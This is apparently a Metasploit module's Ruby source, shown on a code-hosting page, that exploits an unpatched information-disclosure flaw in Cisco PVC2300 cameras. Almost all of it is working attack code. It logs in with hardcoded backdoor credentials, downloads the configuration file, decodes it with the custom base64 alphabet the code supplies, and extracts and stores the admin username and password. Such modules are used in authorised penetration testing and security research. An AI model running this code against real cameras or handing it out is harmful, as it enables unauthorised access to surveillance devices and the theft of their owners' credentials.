Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/cisco_pvc2300_download_config.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6prepend Msf::Exploit::Remote::AutoCheck7include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14{15'Name' => 'Cisco PVC2300 POE Video Camera configuration download',16'Description' => %q{17This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order18to download the configuration file containing the admin credentials for the web interface.1920The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the21module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml22endpoint using hardcoded credentials.2324If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml25with the aim of downloading the configuration file. The configuration file, if obtained, is then26decoded and saved to the loot directory. Finally, the module attempts to extract the admin27credentials to the web interface from the decoded configuration file.2829No known solution was made available for this vulnerability and no CVE has been published. It is30therefore likely that most (if not all) Cisco PVC2300 cameras are affected.3132This module was successfully tested against several Cisco PVC2300 cameras.33},34'License' => MSF_LICENSE,35'Author' => [36'Craig Heffner', # vulnerability discovery and PoC37'Erik Wynter', # @wyntererik - Metasploit38],39'References' => [40[ 'URL', 'https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf' ], # blackhat presentation - unofficial source41[ 'URL', 'https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf'], # blackhat presentation - official source (not working)42[ 'URL', 'https://www.youtube.com/watch?v=B8DjTcANBx0'] # full blackhat presentation43],44'DisclosureDate' => '2013-07-12',45'Notes' => {46'Stability' => [CRASH_SAFE],47'Reliability' => [REPEATABLE_SESSION], # the attack can be repeated, but a timeout of several minutes may be necessary between exploit attempts48'SideEffects' => [IOC_IN_LOGS]49}50}51)52)53end5455def custom_base64_alphabet56'ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+'57end5859def default_base64_alphabet60'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'61end6263def request_session_id64vprint_status('Attempting to obtain a session ID')65# the creds used here are basically a backdoor66res = send_request_cgi({67'method' => 'GET',68'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),69'vars_get' => {70'action' => 'login',71'user' => 'L1_admin',72'password' => 'L1_51'73}74})7576unless res77fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')78end7980unless res.code == 20081fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")82end8384if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?85session_id = res.headers['sessionID']86print_status("The target may be vulnerable. Obtained sessionID #{session_id}")87return session_id88end8990# try to check the status message in the response body91# the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly92status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip93if status.blank?94fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')95end9697if status == 'try it later'98fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")99else100fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")101end102end103104def download_config_file(session_id)105vprint_status('Attempting to download the configuration file')106107res = send_request_cgi({108'method' => 'GET',109'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),110'headers' => {111'sessionID' => session_id112},113'vars_get' => {114'action' => 'downloadConfigurationFile'115}116})117118unless res119fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')120end121122unless res.code == 200 && !res.body.empty?123fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')124end125126# if the exploit doesn't work, the response body should be empty. So if we have anything, we can assume we're in business127res.body128end129130def decode_config_file(config_file_encoded)131# if we've made it all the way here, this shouldn't break, but better safe than sorry132begin133config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)134config_file_decoded = Base64.decode64(config_file_base64)135rescue StandardError => e136print_error('Encountered the following error when attempting to decode the configuration file:')137print_error(e)138fail_with(Failure::Unknown, 'Failed to decode the configuration file')139end140141# let's just save the full config at this point142path = store_loot('ciscopvc.config', 'text/plain', rhost, config_file_decoded)143print_good('Successfully downloaded the configuration file')144print_status("Saving the full configuration file to #{path}")145146# let's see if we can grab the device name from the config file147if config_file_decoded =~ /comment=.*? Video Camera/148device_name = config_file_decoded.scan(/comment=(.*?)$/)&.flatten&.first&.strip149unless device_name.blank?150print_status("Obtained device name #{device_name}")151end152end153154# try to grab the admin username and password from the config file155admin_name = nil156admin_password = nil157if config_file_decoded.include?('admin_name')158admin_name = config_file_decoded.scan(/admin_name=(.*?)$/)&.flatten&.first&.strip159end160161if config_file_decoded.include?('admin_password')162admin_password = config_file_decoded.scan(/admin_password=(.*?)$/)&.flatten&.first&.strip163end164165if admin_name.blank? && admin_password.blank?166print_error('Failed to obtain the admin credentials from the configuration file')167else168print_good('Obtained the following admin credentials for the web interface from the configuration file:')169print_status("admin username: #{admin_name}")170print_status("admin password: #{admin_password}")171# save the creds to the db172report_creds(admin_name, admin_password)173end174end175176def report_creds(username, password)177service_data = {178address: datastore['RHOST'],179port: datastore['RPORT'],180service_name: 'http',181protocol: 'tcp',182workspace_id: myworkspace_id183}184185credential_data = {186module_fullname: fullname,187origin_type: :service,188private_data: password,189private_type: :password,190username: username191}.merge(service_data)192193credential_core = create_credential(credential_data)194195login_data = {196core: credential_core,197status: Metasploit::Model::Login::Status::UNTRIED198}.merge(service_data)199200create_credential_login(login_data)201end202203def check204res1 = send_request_cgi('uri' => normalize_uri(target_uri.path))205206unless res1207return Exploit::CheckCode::Unknown('Target is unreachable.')208end209210# string togetether a few checks to make it more likely we're dealing with a Cisco camera211unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'212return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')213end214215res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))216unless res2217return Exploit::CheckCode::Unknown('Target is unreachable.')218end219220unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}221return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')222end223224vprint_status('Target seems to be a Cisco camera')225Exploit::CheckCode::Appears226end227228def run229session_id = request_session_id230config_file = download_config_file(session_id)231decode_config_file(config_file)232end233end234235236